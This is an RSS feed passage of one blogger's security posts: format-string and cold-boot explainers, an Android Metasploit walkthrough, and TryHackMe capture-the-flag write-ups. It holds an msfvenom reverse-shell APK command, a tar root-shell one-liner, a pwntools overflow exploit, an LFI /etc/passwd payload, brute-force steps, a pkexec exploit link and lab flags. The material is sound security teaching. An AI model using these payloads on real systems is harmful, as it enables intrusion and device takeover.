vigilant for zero days and check if your current versions are vulnerable. Threat hunts ensure your assets are patched and secure.</p><p><strong>How do we hunt for?</strong></p><p><strong>Attack for signature and IOCs:</strong></p><p>Identify specific and actionable identifiers for the target. Use attack signatures, logs after exploiting vulnerabilities and indicator of Compromise (IOCs) to recognize relevant malware, attack residues and exploited vulnerabilities.</p><p><strong>Pattern of Activity:</strong></p><p>Focus on behavior patterns of specific threat actors. Use MITRE Att&amp;CK frame for understanding behavior pattern. This characterizing behavior threat patterns help to in identifying and responds to threat effectively.</p><p><strong>Logical Queries:</strong></p><p>Craft logical queries to identify the assets with known vulnerabilities. Use specific actionable identifiers such as application versions to filter for vulnerable assets. This approach helps quickly find and address vulnerabilities, improving security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d15fa106472" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Format String Vulnerability]]></title>
            <link>https://medium.com/@A1iw4r3/format-string-vulnerability-eb9204cb9c6d?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb9204cb9c6d</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Wed, 08 May 2024 14:56:05 GMT</pubDate>
            <atom:updated>2024-05-13T16:37:02.586Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*xrlQe1rew_abBFoXXFU1Gg.png" /></figure><p><strong>Introduction:</strong></p><p>Format string vulnerability is a security flaw that can occur in applications written in C or C++ when improper use of format specifiers leads to unexpected behavior.</p><p><strong>Format String:</strong></p><p>Specific string used as an argument to a function in programming languages like C or C++. Example of format string is given below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*uI7E1dTIshG2Lg2quff7aA.png" /></figure><p><strong>Format Specifiers:</strong></p><p>Special sequence in a format string that specifies how a particular argument should be formatted when it is printed or read. According to example given below, %d tells the function to print a digit from variable <strong>num</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*FGkGlRF4NuWwEq0e0JPQkQ.png" /></figure><p><strong>Some common format specifiers are given below</strong></p><p>%d — Decimal</p><p>%x — Hexadecimal</p><p>%p — Pointer</p><p>%s — String</p><p>%n — number of bytes</p><p>%c — Character</p><p><strong>Note:</strong></p><p>In %s and %n, arguments are passed as reference</p><p><strong>%p vs %x:</strong></p><p>%x prints hex values like 0ff23cd</p><p>%p prints hex values like 0xff23cd</p><p><strong>Arguments:</strong></p><p>Argument after the format string is a variable or a list of variables that are used to fill in the placeholders specified by the format specifiers in the format string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*qakCUCHy_lXhqltfOx4IJQ.png" /></figure><p><strong>Format String Vulnerability Exploitation:</strong></p><p>Consider the following program segment: a character array named name of size 100 bytes is declared. The printf function is then invoked to display the prompt “Enter your name: “. Subsequently, the scanf function is utilized to obtain a string input. Finally, the printf function is employed to display the string that was taken as input.</p><pre>#include &lt;stdio.h&gt;<br>void main() {<br> char name[100];<br> printf(&quot;Enter your name: &quot;);<br> scanf(&quot;%s&quot;, name);<br> printf(name);<br>}</pre><p>Let us consider the hypothetical stack layout for the program described above. This representation is not an actual stack but is provided for the purpose of understanding format string vulnerabilities. Here <strong>*name</strong> is a pointer to string which will be given as input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/318/1*xUWCYJkjAvCdThE6KfcjJA.png" /></figure><p><strong>Memory Leak:</strong></p><p>If we were to input %p %p into the name character array in the program described earlier, the printf function would interpret this input as format specifiers. Consequently, when printf is called, it will treat %p %p as formatting instructions and attempt to print memory addresses, as each %p specifier expects a pointer argument. This behavior can lead to the disclosure of sensitive memory addresses, illustrating a common pitfall in handling format strings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*9o0iZt0BIoefJNYImSSySw.png" /></figure><p><strong>Memory Overwrite:</strong></p><p>Considering the following program</p><pre>void main() {<br>    int x=2;<br> char name[100];<br> printf(&quot;Enter your name: &quot;);<br> scanf(&quot;%s&quot;, name);<br> printf(name);<br>}</pre><p>Let us consider again the hypothetical new stack layout for the program described above. In the provided program, if the input “ABCD%n” is entered, the %n format specifier in the printf function call will attempt to write the number of characters printed so far to an integer variable. as printf is executed, it may inadvertently modify the value of the variable x, replacing its value with 4.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*vvggC9ahcFOzDKsF3-dwwg.png" /></figure><h4>Offset (Writing at Specific position):</h4><p>For writing at specific position: %p$n.</p><p>where p is position.</p><h3><strong>Conclusion:</strong></h3><p>format string vulnerabilities pose a significant risk to the security and stability of software systems. These vulnerabilities can be exploited by attackers to manipulate program behavior, read sensitive information, or even execute arbitrary code. It is essential for developers to be aware of these vulnerabilities and to follow secure coding practices to mitigate them.</p><p>To prevent format string vulnerabilities, developers should always validate and sanitize user input before using it in format strings. Additionally, using functions that provide more control over formatting, such as snprintf instead of printf, can help reduce the risk of these vulnerabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb9204cb9c6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cold Boot Attack]]></title>
            <link>https://medium.com/@A1iw4r3/cold-boot-attack-f8b378ef2ad7?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8b378ef2ad7</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Fri, 19 Apr 2024 11:54:44 GMT</pubDate>
            <atom:updated>2024-04-20T15:43:36.388Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pzMRq30EsYqS_IPbvKqgUA.png" /></figure><p><strong>Attack Type:</strong></p><p>A hardware-based attack targeting the main memory.</p><p><strong>Introduction:</strong></p><p>Cyber attack in which an attacker gains unauthorized access to data stored in RAM (Random Access Memory).</p><p><strong>How this Attack works:</strong></p><p>RAM is volatile memory stores data temporarily. Research shows that memory can hold data from a few seconds to a few minutes before it fades out due to lack of electricity supply. Cooling the RAM with liquid nitrogen, the data can remain for hours. Attackers can extract data using specialized tools.</p><p><strong>Why Dangerous:</strong></p><p>RAM stores encryption keys, passwords, pins and much more sensitive data. By mounting data from memory, Attacker can steal such data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/0*HpWi0mN2E_zselSR" /><figcaption>Liquid Nitrogen for cool down the memory</figcaption></figure><p><strong>Prevention:</strong></p><ol><li>Encrypt the sensitive data stored in memory to prevent unauthorized access.</li><li>Use a secure boot mechanism to ensure that only trusted software is loaded.</li><li>Use Memory Scrubbing technique (overwrite data) to prevent unauthorized access.</li><li>Ensure physical security over hardware to prevent attackers from gaining access.</li><li>Configure system as shut down when not in use.</li><li>Use secure memory disposable techniques to ensure data is properly erased.</li></ol><p><strong>Video Demo:</strong></p><p><a href="https://www.youtube.com/watch?v=XfUlRsE3ymQ&amp;t=16s">Cold Boot Attack | University of South Wales VeraCrypt Research Group</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8b378ef2ad7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacked the Android Device Remotely using Metasploit]]></title>
            <link>https://medium.com/@A1iw4r3/android-hacking-remotely-using-metasploit-1adef73e0c60?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/1adef73e0c60</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Mon, 18 Mar 2024 17:09:17 GMT</pubDate>
            <atom:updated>2024-03-18T17:11:41.259Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lQ-l8_ZeXxPod3wNB2lICA.png" /></figure><p>Initially, I generated staged a payload for Android using msfvenom and save to it /var/www/html/ directory to access through browser at victim machine.</p><p><strong>Command for payload:</strong></p><p><strong><em>sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.4 LPORT=6666 -o /var/www/html/malicious.apk</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*qBJiHa-oXFY_aqeW" /></figure><p><strong>LHOST</strong> is a Local ip address of my machine for listening.</p><p><strong>LPORT</strong> is a Local port of my machine for listening.</p><p>After creating payload, I started apache2 service by using command given below</p><p><strong><em>service apache2 start</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/0*ibKc_z5VhoJT2uFE" /></figure><p>I downloaded the malicious apk from the android browser as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*Lo5BwmDMAcZNMH19" /></figure><p>After downloading the payload, I started msfconsole for listening.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*8P3J6pSdmiNZRVe4" /></figure><p>I set my machine’s IP and port for listening.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/0*hA-sfmIxI1Ak0Hup" /></figure><p>Confirm the port number and IP for listening.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*Y4VUEBZulPMAP4Wt" /></figure><p>I gave the permission for installing unknown applications in android.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/0*f271gjgJeVPb7A9W" /></figure><p>After giving permission, I installed the malicious.apk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*937wlyBhlpnzo9t8" /></figure><p>After installation, I opened the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/0*YeHmvk8ys98Kt2PS" /></figure><p>I ran the exploit command for listening. I got session. I connect through session having ID 1 and finally got meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/0*gEVRg2JoAbV2x5JF" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1adef73e0c60" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bounty Hacker — TryHackMe]]></title>
            <link>https://medium.com/@A1iw4r3/bounty-hacker-tryhackme-058260514239?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/058260514239</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Mon, 18 Mar 2024 16:07:36 GMT</pubDate>
            <atom:updated>2024-03-18T23:53:07.809Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bounty Hacker — TryHackMe</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5eLJ93u2F0crXGVX" /></figure><p><strong>Nmap scan:</strong></p><p>I found 3 open ports i.e. port 21,22,80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/0*TGMb4ZszQIHUGm9B" /></figure><p>First of all I checked the ftp with default credentials “anonymous” and I logged in successfully. There I found two files i.e locks.txt and task.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/0*xDLyvsOHriLgnRy6" /></figure><p>I transferred those to my machine and read them: locks.txt containing password list and task.txt contained a user name “<strong>lin</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/0*hXS60PGjiWAy6Hbi" /></figure><p>I brute forced the user name “<strong>lin</strong>” with hydra using locks.txt and found its password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5NF6VSzPB8NQu-RB" /></figure><p>I logged in and got the first flag.</p><p><strong>THM{CR1M3_SyNd1C4T3}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/0*NAN-1bCoOz0YCmTW" /></figure><p>I checked the sudo permission using sudo -l and gave the password which I got through brute force which proved <strong>lin is a sudoer file</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/0*ZoqWjBb2jmvZlLvm" /></figure><p>I went to GTFObins and took a command which is given below. I ran it with sudo and got the root shell.</p><p><strong><em>tar -cf /dev/null /dev/null — checkpoint=1 — checkpoint-action=exec=/bin/sh</em></strong></p><p><a href="http://gtfobins/">https://gtfobins.github.io/gtfobins/tar/#shell</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/0*bCs12KtKe8R1bMkG" /></figure><p><strong>Root flag</strong> is given below</p><p><strong>THM{80UN7Y_h4cK3r}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=058260514239" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[First Challenge TryHackMe-PWN101]]></title>
            <link>https://medium.com/@A1iw4r3/first-challenge-tryhackme-pwn101-24e48022f568?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/24e48022f568</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Fri, 01 Mar 2024 12:42:27 GMT</pubDate>
            <atom:updated>2024-03-01T12:42:27.071Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dtUwgyLmkPc4JJGW" /></figure><p>All Defined functions are here. There are 3 user-defined functions i.e main, setup, banner. Let’s disassemble them one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/0*ORLMS3EZ12lu_r5g" /></figure><p>Disassembly of setup, there is nothing special here. Simply ignore.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/0*7SLTrQdUb7asz6F3" /></figure><p>In Disassembly of banner, it is printing something, skipping it also.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/0*RIVkD2ZQgZE11YzG" /></figure><p>We’ve left the main function. In the main function there is a function <strong>system which has an argument of /bin/sh</strong> at the end. But the condition is we’ve to change the value of the variable having value 0x539 because the program compares the value of the variable with 0x539. If both values are equal then the program exits. If both values are different then programs call the system function. For this we’ve to overflow the stack and change the value of the variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/0*KU0zkHmvNTOmRCb6" /></figure><p>Exploit for this binary would be</p><p><strong>from pwn import *</strong></p><p><strong>elf=context.binary=ELF(“./pwn101.pwn101”)</strong></p><p><strong>io=process()</strong></p><p><strong>io=remote(“10.18.13.36”,9001)</strong></p><p><strong>payload= b’A’*((0x40–0x4)+1)</strong></p><p><strong>io.sendline(payload)</strong></p><p><strong>io.interactive()</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/0*QZKca8-I82L8bha4" /></figure><p>Flag is given below</p><p>THM{7h4t’s_4n_3zy_oveRflowwwww}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24e48022f568" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RED-TryHackMe]]></title>
            <link>https://medium.com/@A1iw4r3/red-tryhackme-51e04c32cbb6?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/51e04c32cbb6</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Thu, 29 Feb 2024 14:02:33 GMT</pubDate>
            <atom:updated>2024-02-29T14:02:33.882Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J_WbmXJdtGXd_Nep" /></figure><p><strong>Note</strong>: I completed this machine in different chunks of time. That’s why the IP of the victim machine is different.</p><p><strong>Nmap Scan</strong></p><p>Two open ports were found. SSH opened at port 22 had 8.2, I simply ignored it because it was one of the latest versions of SSH. Next one was port 80 on which http is running. That means I had to get initial access through the web.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/0*c0ip9c0btu04bpbp" /></figure><p>When I ran scripts of nmap, I found an interesting thing which was LFI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/0*qfCUZipCBMbWXMGV" /></figure><p>I ran 10.10.194.228/index.php?page=file:///etc/passwd and found content of /etc/passwd file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZUb7biYYYhDk1X1r" /></figure><p>Here two users found i.e red and blue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kgoyFzwIChouO_7e" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lyTcVlimWquCpUIU" /></figure><p>I tried to open .ssh, bash_history. Fortunately, the bash_history directory gave me some text. I found a hashcat command running having a rule for creating different passwords from one password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DWKRRpE8W0u-ck4S" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HqiRzCc0EftvtEh4" /></figure><p>I opened the .reminder file and found a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DudzMAYQOCGnHmEV" /></figure><p>I tried this password to login blue and red users through this password found in .reminder file but couldn’t.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/0*5N0m2XqIEGMonned" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/0*PgTKOoTowhewuS6r" /></figure><p>I used the below command to create passwords using the rules of hashcat as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bgT1bLNPYlQRWAbd" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*TX50_S-phKHeWCdZ" /></figure><p>After that I bruteforce the ssh using this password list for a user named blue and found the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zktEbAnLC0fA1GB0" /></figure><p>I logged in and got the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/0*gPBjGDeHPq419SVk" /></figure><p>THM{Is_thAt_all_y0u_can_d0_blU3?}</p><p>Now I tried to get the red user but could not succeeded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/304/0*15BwS7j1855LxNZd" /></figure><p>After some minutes shell got closed, I thought there were a script running behind which closed the session of blue user and change password which I got through brute forcing the SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LimB3DKDyrdsgj9x" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sXP8kiWSX3F1Y681" /></figure><p>I again brute forced the SSH through hydra to get a new password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/0*-joQ43Ruqhr4aS8A" /></figure><p>After getting new session, I check the /etc/crontab for cronjob but couldn’t find any user defined script running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1ahqLxJya-MhwNVm" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/0*MJuuwuqtjblZ7EdW" /></figure><p>I copied the pspy file to the victim machine to check the script running on it. Surprisingly I found a amazing thing that was bash reverse shell script running in background which was transferring shelling to redrules.thm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cE3V3k35IMHZYQza" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BZrpuewydMg61FRa" /></figure><p>I tried to send my machine with hostname “redrules.thm” into the /etc/hosts and succeeded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yBZcc84uzCKtkBsT" /></figure><p>I switched on the listening of netcat at port 9001 which was mentioned in bash reverse shell and got red user shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*I51ujQicQWfqpL2W" /></figure><p>2nd flag is given below</p><p>THM{Y0u_won’t_mak3_IT_furTH3r_th@n_th1S}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/0*WiLjOJB5BBwRwYfa" /></figure><p>After getting the second flag, I started privilege escalation, I looked the .git directory. I got into it and found pkexec file with suid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/0*UpPxONLEDnxfplVt" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/0*xZXVtAQ6vXBQulvU" /></figure><p>I found the pkexec exploit at given github link, I just changed the path of pkexec at the end of the exploit.</p><p><a href="https://github.com/Almorabea/pkexec-exploit/blob/main/CVE-2021-4034.py">https://github.com/Almorabea/pkexec-exploit/blob/main/CVE-2021-4034.py</a></p><p>Change the path</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/0*bJhIfqK5jL3xe3wH" /></figure><p>After transferring the exploit to the victim machine, I ran this exploit and got the root user shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/0*oFkCgHzfr0DL2EbK" /></figure><p>Third flag is given below.</p><p>THM{Go0d_Gam3_Blu3_GG}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/0*SXhCEpr4_abdMoAy" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51e04c32cbb6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LazyAdmin-TryHackMe]]></title>
            <link>https://medium.com/@A1iw4r3/lazyadmin-tryhackme-ee293275c1f3?source=rss-ebed99854956------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee293275c1f3</guid>
            <dc:creator><![CDATA[A1iw4r3]]></dc:creator>
            <pubDate>Fri, 02 Feb 2024 15:59:45 GMT</pubDate>
            <atom:updated>2024-02-02T16:16:28.537Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*491QSqECLweOB75f" /></figure><p>Result of Nmap:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/0*NickeftdczkxzX5G" /></figure><p>Two open ports, SSH was ignored because it had a secured version, After that I moved towards the http. There I explored website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5HBH0gnkd-mwZ9cv" /></figure><p>I ran Dirbuster, which showed the following two directories. These directories contain important files and directory like index.php in content, index.php in as directory and mysql_backup directory. I explored them one by one which is given below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/0*mvdY47byC1nPDNQT" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/0*kqgoWlhA2yfvcsn_" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/0*62NrJgS9IMg9KeTr" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*uLqnR8yY1gvPGD8s" /></figure><p>First of all I checked the 10.10.84.202/content then I found a webpage which is shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/0*4tlDxC-bWWjx2d8S" /></figure><p>Clicking on link “Tip for Basic CMS SweetRice installed”, it redirected to page shown below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/0*A2-PmWPPyQVejDl6" /></figure><p>I checked the source code of the website and nothing special found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IRFIpMknaNBlOu_F" /></figure><p>Checked index.php but it redirected to same page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/0*D7PbgoeuG-wDntA1" /></figure><p>10.10.84.202/content/as redirected me to the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EO7Mrj6PygQF7iP6" /></figure><p>At the end I tried mysql backup and it gave me a file. Let’s check it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*S--eWKDYJjZYe-PJ" /></figure><p>That file gave the two usernames <strong>admin and manager</strong> and hash, order was showing that hash was of username <strong>manager</strong>. I cracked the hash from <a href="https://hashes.com/">https://hashes.com/</a> and it successfully gave password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/0*7ZIUGDzic_2VROR_" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/0*FZSAF3h9Bn91bmkR" /></figure><p>I tried at the login page and successfully loged into the web portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/0*UNvSEJmT1KX1Jinm" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jwlVZXBaKwMpjVau" /></figure><p>At the top right corner, I found the version of the website <strong>1.5.1</strong> and checked its exploit from searchsploit. I found an Arbitrary file upload exploit. I decided to use it to upload reverse shell payload of php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/0*fhd5A4-IwKdG-25P" /></figure><p>I download that exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/0*2_OqD-y5QWVysufj" /></figure><p>I copied reverse shell payload to current directory and rename it to shell.php5 because exploit suggested to upload php5 file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/0*M7VCyEppJ0OhH_vb" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/0*6yjpxCYycjamjHUO" /></figure><p>I gave IP of my machine and port in payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/0*i_yFxAkvK1jc2WS5" /></figure><p>File uploaded successfully using exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/0*rJOVIyFzS4kV8gbD" /></figure><p>There I used 10.10.84.202/content and didn’t use 10.10.84.202/content/as because in payload’s URL it was already mentioned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/0*3ZG1ogWwcUhXh9xI" /></figure><p>Started listening and ran the URL which was generated after uploading payload at machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/0*gw5E8y-rMNLJHl2J" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ErNVOVpmqaWabkG_" /></figure><p>As file ran, It gave me shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/0*P6VUVaSr13yGVjlS" /></figure><p>Move towards the home for first flag and found flag</p><p><strong>THM{63e5bce9271952aad1113b6f1ac28a07}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/387/0*UoGybLqWtGGsJNGE" /></figure><p>After that I started Privilege Escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/0*SK8tvRqWbqn0ulqU" /></figure><p>there two file were existed <strong>backup.pl</strong> and <strong>mysql_login.txt</strong>, they gave me hint of cron job but it didn’t exist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/0*sQd-h9sShN7U3LeR" /></figure><p>After that I check for sudo permission. There I found that we could run <strong>/home/itguy/backup.pl</strong> using sudo as root user. I checked the content of the file. It was bash script which was running another file <strong>/etc/copy.sh</strong>,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/0*OXdV8m0a3_uMFeJ_" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/0*dUgQRLkZgwJxozgx" /></figure><p>I checked its content and its permission, we had write permission to it and that file was running a script which could give us a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/0*HzQcVez3B2cq7XGj" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/0*YVl6ru_0UpaEhSI4" /></figure><p>I just changed IP and port number and ran using sudo permission, started listening and got root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/0*ynZTKYhGetSIMTte" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/0*jOiI_BwHvdlXJxzU" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/0*nuHCoMGK-wly2EKx" /></figure><p>Root flag</p><p><strong>THM{6637f41d0177b6f37cb20d775124699f}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/0*qtFdG_-oM8zHl9vO" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee293275c1f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>